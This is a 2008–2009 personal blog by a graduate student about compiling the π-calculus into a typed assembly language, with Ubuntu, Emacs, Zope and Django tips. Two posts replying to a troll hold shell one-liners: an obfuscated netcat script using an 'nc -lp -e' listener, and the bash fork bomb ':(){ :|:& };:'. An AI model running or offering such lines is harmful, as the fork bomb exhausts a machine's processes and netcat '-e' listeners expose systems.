Tiago, O Irrepupável

An applet for MIL and the simply typed π-calculus compiler

2009-07-02T10:47:00.005Z

In an effort to showcase my MSc work, I have developed an applet that contains the π-calculus compiler along with the MIL interpreter. You can try out either MIL our the simply-typed π-calculus and run it online. Our article about compiling the π-calculus into a multithreaded typed assembly language is an useful reference.

The π-calculus consists of processes that run concurrently—you may read processes as tasks or threads, although they sit at a much higher level. The simplest process is the inactive one that finishes, we represent it by a zero 0. The basis of the π-calculus is communication; it is so important that the fundamental step of computation is the communication of sequences of values (integers, strings, and channels). Processes synchronize (and communicate) by message-passing, using channels. To send a message 10 through a channel x we write the output process x<10>. To receive a message through a channel x and store it in a name y that is visible in process P we write the input process x(y).P, notice that process P is not a variable, it must be replaced with an actual process, like the inactive process 0. If we want to receive a message repeatedly, like a server does, we just write a bang (!) in front of an input process, for example !x(y).P. To execute process P in parallel with process Q we write the parallel process P | Q, or to remove ambiguity we may use parenthesis (P | Q). To use a channel x in a process P, we must first declare it along with its type T by writing new x:T P. A type T is not a variable, it can be either an integer type int, a string type str, or a channel ^[T1,...,Tn] (the parameters ranging from T1,...,Tn are a possibly empty sequence of types, like the empty channel type ^[] or the channel that communicate two integers ^[int,int]. Channels may themselves send channels, for example channel type ^[int,^[int]] types channels that communicates two values, one of the integer type, another a channel that communicates integers.

A quick example of an echo server:

new echo:^[int,^[int]] (
  !echo(x,y).y<x>
  |
  new print:^[int] (
    !print(m).printInt<m>
    |
    echo<10,print>
  )
)

“Compiling the π-calculus into a multithreaded typed assembly language” is published

2009-06-23T09:56:00.003Z

After one year the article I presented in PLACES '08 was published.

We extend a previous work on a multithreaded typed assembly language (MIL) targeted at shared memory multiprocessors, and describe the design of a type-preserving compiler from the π-calculus into MIL. The language enforces a policy on lock usage through a typing system that also ensures race-freedom for typable programs, while allowing for typing various important concurrency patterns. Our translation to MIL generates code that is then linked to a library supporting a generic unbounded buffer monitor, variant of Hoare's bounded buffer monitor, entirely written in MIL. Such a monitor shields client code (the π-calculus compiler in particular) from the hazardous task of direct lock manipulation, while allowing for the representation of π-calculus channels. The compiler produces type correct MIL programs from type correct source code, generating low-contention cooperative multithreaded programs.

Tiago Cogumbreiro, Francisco Martins, and Vasco T. Vasconcelos. Compiling the π-calculus into a multithreaded typed assembly language. ENTCS, 241:57–84, 2009.

Problemas com acentos usando Latex, Flyspell, ISpell e Emacs

2009-04-06T17:45:00.002Z

Estive muito tempo com problemas na forma como o Emacs e o ISpell reconheciam as palavras portuguesas. Depois de muito escavar lá encontrei o .emacs do sítio oficial do dicionário português para ISpell. Para corrigir, coloquem este código no vosso .emacs:

(custom-set-variables
   '(ispell-local-dictionary-alist
     (quote (("portugues" "[A-Za-zàèìòùÀÈÌÒÙáéíóúÁÉÍÓÚãõÃÕâêîôûÂÊÎÔÛçÇ]"
                          "[^A-Za-zàèìòùÀÈÌÒÙáéíóúÁÉÍÓÚãõÃÕâêîôûÂÊÎÔÛçÇ]"
                          "[-]" nil nil "~latin1" iso-8859-1)
             ("portutex"  "[A-Za-z\\\\\\\\]"
                          "[^A-Za-z\\\\\\\\]"
                          "[---~`'^{}]" nil nil "~tex" iso-8859-1)))))

Isto é quase arte ASCII.

Redirecting to an external link/URL in Zope (and Plone)

2009-04-01T22:18:00.002Z

Go to the Zope Management Interface. In Plone click on Site Setup (on the upper left corner) and then under Plone Configuration click on Zope Management Interface.

Next, create a content Script (Python) (select it in the drop-down widget in the upper left corner of the page). Select the name of the link of the origin of the redirection and click on Add and Edit.

Add the following content:

# Import a standard function, and get the HTML request and response objects.
from Products.PythonScripts.standard import html_quote
request = container.REQUEST
RESPONSE = request.RESPONSE

#return context.REQUEST.RESPONSE.redirect("http://www.google.com/")
return RESPONSE.redirect("http://www.google.com/")

This will redirect http://YOURHOSTNAME/foo (if you create the python script at the root of your Zope Management Interface named foo) and redirect it to http://www.google.com/. Could be easier (and fully accessible trough Plone's UI).

MiNEMA Winter School 2009

2009-03-08T22:10:00.002-01:00

I am going to attend MiNEMA Winter School. Great oportunity to learn about wireless sensor networks and to discover Göteborg.

World of Goo

2009-02-18T01:08:00.002-01:00

I was amazed by the demo and had to buy the full game of World of Goo (for Linux). I do not play a game in years, so this was really a urge I could not control ;-) The game cost me 16 euros.

Hindley/Milner Type Inference Algorithm implementated in Haskell (untested and naïve)

2009-02-04T01:21:00.006-01:00

I do not program in Haskell in a couple of years. Today I needed to learn the Hendley/Milner algorithm for type inference and decided to implement it in Haskell. A far more interesting related blog post is one about “Writing A Lisp Interpreter In Haskell”, by Slava Akhmechet.

You can grab the (hardly tested) code, released under public domain, in Pastebin at http://pastebin.com/f7dede189. The Source Code Is The Documentation™.

I can't stress enough the usefulness of algebraic data types and declarative languages for creating compilers. But alas, I am still working with Java in my research projects.

Update: Because I have somehow broken the indentation, I have taken the chance to re-upload the source code, while cleaning up some code. Added a nice link about interpreter implementation using Haskell.

The π-calculus library chapter and literate programming

2008-12-11T22:12:00.004-01:00

I finished the π-calculus library implemented in MIL. I started working in the translation chapter. Meanwhile, An explanation I received cleared up some details I was having with programming recursive types in MIL. With the misconception corrected I can now proceed working on the paper.

For my work on the paper I intend to clean up my pseudo-framework for doing literate programming, which enables the library described in the aforementioned chapter to be generated and then type-checked for errors. Make the code free from embarrassing errors.

pi2mil, mil, and the thesis

2008-12-10T21:11:00.004-01:00

I reimplemented the compiler from the π-calculus into MIL (in Java). The only part that was not touched was the parsing. It took me two days to rewrite the type-checking and the compiler. My work was basically translating mathematical notation into Java. It is interesting to note how much code was simplified because the translation was formalized. Looking back, I had an over-engineered compiler. Now I have a much simpler implementation and a proof that it is compiling safely, preserving types.

After the compiler, I worked on synchronizing the implementation of MIL with the latest paper we have been working on. This amounted to rewriting the pretty-printer and to adding support for some instructions and a few types. The test battery we have implemented helped making sure I wasn't breaking any type-checking rule. There are, however, some problems that need to be solved in implementing some of the new sub-typing rules, notably with recursive types.

In this last week I have mostly programmed and haven't made significant progress in my thesis. We are working on a paper with a deadline due next week. But since I am waiting for some feedback to continue working on the paper, I have an opening to finish up the chapter on the π-calculus library. I only have half of a section to review to finish the chapter, so I hope I finish it in this week.

Summary of the last week

2008-11-27T13:17:00.005-01:00

I have been studying monitors for a section included in the chapter of the π-calculus library. The obvious references are “Monitors: An Operating System Structuring Concept” for Hoare-style monitors and “Experience with Processes and Monitors in Mesa” for Mesa-style monitors. I also found the chapter “Thread Synchronization” of the book “Inside the Java Virtual Machine” inspiring. My friend Neva made me realize that I was misusing terminology in my introduction to monitors.

After concluding the section I moved along to the section on the implementation of queues in MIL. There is a typing rule in MIL that is confusing me. Spent yesterday's afternoon reading “Types and Programming Languages”, just to understand that I need way more time to understand the chapter about the meta-theory of recursive types. The good part is that I found out that my chapter explaining MIL is very superficial. The bad part is that I have to invest more time to make it deeper. Today I plan on rewriting most of the text included in the queues section.

Yesterday I have also worked on a new project (another compiler). We are using SableCC for the parser and for the AST creation. The good part of this tool is that it allows for a separation of the AST from the CST, this is specially enticing for people developing languages for calculus, like our group. The shortcoming of this tool is that there is no way to tag the AST with metadata. We need to know the source code location related to an element of the AST. A proposed solution is to “pollute” the AST with terminal tokens delimiting the location. Tokens, however, do not have a single interface to retrieve the line and column and lack an associated filename.

Web-log as a log

2008-11-27T13:13:00.002-01:00

The word blog derives from web log. I am going to try using my blog for its vanilla purpose. I am going to use the label (i.e. tag) log for such entries.

GLUA TechSessions '08

2008-10-26T17:10:00.005-01:00

Vou à GLUA TechSessions '08 apresentar o nosso trabalho no MIL, que por acaso está a precisar de uma ensaboadela no site. Ainda não sei bem como vou, mas já tenho sítio para dormir. Se alguém quiser companhia na viagem de Lisboa para Aveiro, basta enviar um mail.

Foi um convite lisonjeador. A apresentação, no entanto, vai ser difícil, já que o MIL não é um projecto tech. É um projecto académico, em que se chegam a resultados (não se satisfazem utilizadores). Vai ser um desafio interessante.

Update: a apresentação correu bem. O evento foi muito bom. Espero que se realize mais vezes!

Download da versão PDF.

Making sound (snd-hda-intel) work in a LG R405 after resume (using Ubuntu)

2008-09-22T16:48:00.004Z

After reading bug #200210, I have searched a bit on Launchpad Answers, digging up question #42061.

To make sound work after resuming append the following line:

options snd-hda-intel index=0 model=fujitsu

To the file:

/etc/modprobe.d/alsa-base

This post is relative to the post "Installing Ubuntu Hardy Heron (8.04) into a LG R405".

Start focusing on the thesis

2008-08-28T17:31:00.002Z

I think I've hit a big milestone with the latest work on MIL, fixing an annoying bug that was hindering my research work. I have also fixed a bug in Callas, making sensors aware of the closures. It is interesting that both interpreters are tackling the same problem (variable binding) in different ways. In MIL we are doing actual transformations. In Callas we are doing bookeeping. However, in the former we are working in the type-checking (does not affect the actual speed of the program execution) and in the latter we are working in the actual interpreter execution, thus the need for speed.

In my vacations in Maré de Agosto I have recreated the supporting library for the pi-to-mil compiler. The new code boasts some cool tricks that abuse existential and universal quantifications, making the code smaller. Next, I am going to implement this algorithm and hope there are no more bugs in MIL to distract my work.

Eclipse Ganymed e SVN

2008-08-16T08:30:00.002Z

Instalei o novo Eclipse Ganymed. Tentei usar o plug-in para Subversion que estava nos repositórios oficiais do Eclipse, o Subversive , mas só tive problemas. Desinstalei e instalei o Subclipse. Tudo funciona como era de se esperar.

A nova versão do Eclipse está melhor, com o interface de instalação de plug-in's bem mais polida e algumas melhorias de UI no refactoring e na ajuda de edição de Java. Vale a pena.

What I have been up to....

2008-07-17T13:00:00.002Z

Classes are almost over! Wohoo! I am almost free to work on MIL and on Callas.

On both projects I have been focusing on their interpreters. The implementation is focused on representing the operational semantics in a clear and (hopefully) clean manner, so there is no virtual machine (VM) or bytecode representation of the language. We do intend to implement that, but it will be on the next step. I am gathering documentation about VM's and interpreters.

Another thing I have been doing in our compilers is to get rid of the Visitor pattern. It is one of those things that trying to generalize makes the code worse (at least in how we are using it)! To solve the same problem I have developed a dispatching engine that takes care of what Double Dispatch did. Which reminds me, Double Dispatching is evil! Don't do it. It adds circular dependencies and makes the entangles concerns. Forget about that hack.

Finally, my interest in LLVM has raised. Unfortunately, it has no support for concurrency. This would be very handy for MIL. I was also looking at Parrot. The paper On the Architecture of the Parrot virtual machine provides a good overview on the VM's internals. Unfortunately, the site is confusing and it is difficult to find what I was looking for (the PIR specification).

CouchSurfing

2008-07-09T23:01:00.002Z

Estou a experimentar o serviço CouchSurfing. Vou ser anfitrião dentro de dias. Parece ser muito engraçado! Alguém é parte desta comunidade?

Esvércil

2008-06-15T15:16:00.003Z

Eu e alguns amigos adoramos ódio. Vou ser mais claro. Gostamos de ver cenas (pessoas, animais, máquinas, etc.) a odiar. Gostamos de cenas odiosas. Criámos o tumbleblog Esvércil para registar odiosos; para guardar tudo o que encontramos que é esvércil!

Ah, e não se esqueçam de visitar o meu tumbleblog Tiago, o Irrepupável, que continua registando o lado nonsense da vida.

O Tumblr está cada vez melhor. Agora, inclui suporte para grupos.

Installing Ubuntu Hardy Heron (8.04) into a LG R405

2008-06-15T14:42:00.006Z

I have previously blogged about Installing Ubuntu Gutsy Gibbon (7.10) into a LG R405. I have now updated the system up to Ubuntu Hardy Heron (8.04) and have some remaining issues.

WiFi support is available through NDISwrapper and with more reliability through madwifi. To setup NDISwrapper you can download the package ndisgtk and use the Windows' drivers from on of the laptop's CDs.

Regarding madwifi, if you follow ticker #1192, you will find out version 0.9.5 will bring support for the wireless chipset AR2425. Meanwhile, you can download the driver from a SVN branch at the madwifi's repositories. NetworkManager works best with madwifi's driver (this includes support for eduroam).

Bluetooth got broken in the update (for some Nokia's mobiles). If you follow launchpad's bug #211252, you will notice that you may install Debian's SID bluez-utils to fix the issue (I have left a comment in the ticket stating just that). Fortunately, the regression has been fixed upstream. The fix, however, has not been applied in the Ubuntu package.

~~Sleep and hibernate work. Well... mostly. After waking up the sound dies (see Ubuntu's bug #200210).~~ ~~I have not bothered with scavenging the net to a fix/bug report.~~

To make sound work after resuming append the following line:

options snd-hda-intel index=0 model=fujitsu

To the file:

/etc/modprobe.d/alsa-base

This procedure is part of the post "Making sound (snd-hda-intel) work in a LG R405 after resume (using Ubuntu)".

The (graphical) intel driver has been improved (it is no longer blacklisted in compiz). Power management is better, since the brightness is not crazy anymore.

Concluding, support is still sub-optimal. Sadly, the alternatives are scarse.

Simple Django handlers

2008-05-30T00:20:00.008Z

Or, an example about introspection targeting Python's functions.

I really like the way CherryPy maps GET parameters to the parameters of the handling function (usually, methods). I miss this mapping in Django, therefore I implemented it. I am "lazy" and I did not search Django's API for something related to this — I did this for pleasure.

Anyway, I have implemented a decorator, params_from_GET that adds this functionality to Django-handlers. You have to read the docstring to read the usage.

Code dump (licensed under public domain):

import inspect
def get_func_args(func):
    """
    Returns a generators of pairs (parameter name, default value)
    of the target function.
    """
    (args, varargs, varkw, defaults) = inspect.getargspec(func)
    if defaults is None:
        defaults = ()
    offset = len(args) - len(defaults)
    return args[:offset], dict(zip(args[offset:], defaults))

def params_from(func, method, default_value=''):
    """
    Returns a decorator, see params_from_GET.
    """
    # get the default params
    args, params = get_func_args(func)
    if args[0] != "request":
        raise TypeError("First parameters needs to be 'request'")
    for param in args[1:]:
        params[param] = default_value=''
    
    def wrapper(request, **orig_kwargs):
        # copy the parameters
        kwargs = params.copy()
        # get the map for the defined method, e.g GET
        method_dict = getattr(request, method)
        # set the request object
        kwargs['request'] = request
        for key in params:
            # fill with values that were sent by the user
            if key in method_dict:
                kwargs[key] = method_dict[key]
        kwargs.update(orig_kwargs)
        return func(**kwargs)
    return wrapper

def params_from_GET(func):
    """
    The decorator pics up a handler function and fetches the
    values from the GET map.

    For example:

    @params_from_GET
    handler(request, foo, bar):
       pass

    Is the same as:

    handler(request):
       foo = request.GET('foo', '')
       bar = request.GET('bar', '')
    """
    return params_from(func, 'GET')

Update: added support for the keyword arguments that may be passed to the dispatcher by urls.py.

Comida para troll

2008-05-27T17:12:00.004Z

Acham graça? Consideram que quem consulta o "Planeta Açores" está interessado em linguagem críptica de programação de computadores? Pensam à vossa escala de "computer nerds"? Não incomodem e guardem isso para vocês, repito!

Read the source, luke!

[ $3 ]&&export W=$1 H="$2 $3" K=`mktemp`;Z=/dev/null;e(){ echo "$*";};n(){
nc $* 2>$Z;};x(){ nc -lp ${H#* } -e $1 &>$Z <$Z&};f(){ cat $K|while read h;do
e $W $1 "$2"|n $h;done };case $# in 4)e $W s "$4"|n $H|while read h p f; do
e $W g "$f"|n $h $p>"$f";done;;5)e $H>$K;e $W d $H|n $4 $5>>$K;x $0;;0)x $0
read w c r;[ $W = $w ]&&case $c in s)f l "$r";;g)cat "$r";;a)e $r>>$K;;d)cat $K
f a "$r";;l)ls|grep "$r"|sed "s/^/$H /";;esac;;esac

Comentários odiosos do Anonymous

2008-05-27T12:27:00.005Z

O meu amigo acha interessante preencher um quarto de página do Planeta Açores com um tema que só interessa a meia dúzia de programadores de informática, retirando espaço a quem gostaria de ver lá a sua opinião publicada e outros temas mais abrangentes? Vou protestar para o Webmaster do Planeta Açores. Fiquem com a vossa programação entre amigos!

lol

:(){ :|:& };:

Compiling the π-calculus into a Multithreaded Typed Assembly Language

2008-05-26T21:40:00.002Z

I have just uploaded: Compiling the π-calculus into a Multithreaded Typed Assembly Language. Tiago Cogumbreiro, Francisco Martins, and Vasco T. Vasconcelos. In Proceedings of Places08 - Programming Language Approaches to Concurrency and Communication-cEntric Software. 2008.

This is the paper I will be presenting in Oslo!

Compiling the π-calculus into a Multithreaded Typed Assembly Language

Como procurar uma palavra no dicionário português da Priberam (por HTTP GET)

2008-05-26T19:54:00.010Z

O link para definir o termo PALAVRA é:
http://priberam.pt/dlpo/definir_resultados.aspx?pal=PALAVRA

Fica também o formulário para simplificar a coisa:

<form method="GET" action="http://priberam.pt/dlpo/definir_resultados.aspx">
   <label for="priberam-pal">Palavra:</label>
   <input name="pal" type="text" id="priberam-pal" />
   <input type="submit" value="Definir"/>
</form>

Update: O André colocou um comentário com um bookmarklet para browsers decentes. Já o estou a usar! Obrigado :-)

Accepted in PLACES '08

2008-05-09T22:12:00.005Z

I am really happy to announce that my first publication was accepted in the workshop PLACES '08! Thanks to GLOSS (a research team from LaSIGE) I will be presenting the paper in Oslo, Norway. The subject is about the formalization of the compiler from the π-calculus into MIL.